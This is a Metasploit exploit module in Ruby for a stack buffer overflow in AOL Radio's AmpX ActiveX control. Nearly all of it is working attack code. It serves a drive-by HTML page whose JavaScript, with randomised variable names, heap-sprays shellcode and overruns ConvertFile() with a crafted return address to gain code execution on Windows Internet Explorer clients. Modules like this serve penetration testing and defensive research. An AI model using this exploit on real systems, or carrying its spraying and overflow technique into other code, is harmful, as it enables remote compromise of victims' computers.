129 lines
4.2 KiB
Ruby
129 lines
4.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX
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class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.
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By setting an overly long value to 'ConvertFile()', an attacker can overrun
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a buffer and execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod <rgod[at]autistici.org>', # Original exploit [see References]
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'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
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],
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'References' =>
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[
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[ 'OSVDB', '54706' ],
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[ 'BID', '35028' ],
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[ 'EDB', '8733' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]
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],
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'DisclosureDate' => 'May 19 2009',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape([target.ret].pack('V'))
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ret = Rex::Text.uri_encode([target.ret].pack('L'))
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blocksize = 0x40000
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fillto = 500
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offset = target['Offset']
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# Randomize the javascript variable names
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ampx = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_eax = rand_text_alpha(rand(100) + 1)
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j_bof = rand_text_alpha(rand(100) + 1)
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# Build out the message
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content = %Q|
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<html>
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<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>
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<script language='javascript'>
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#{j_shellcode}=unescape('#{shellcode}');
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#{j_nops}=unescape('#{nops}');
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#{j_headersize}=20;
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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
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#{j_memory}=new Array();
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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
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#{j_eax}='';
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for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');
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#{j_ret}='';
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for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
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#{j_bof}=#{j_eax}+#{j_ret};
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#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
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#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
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#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
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#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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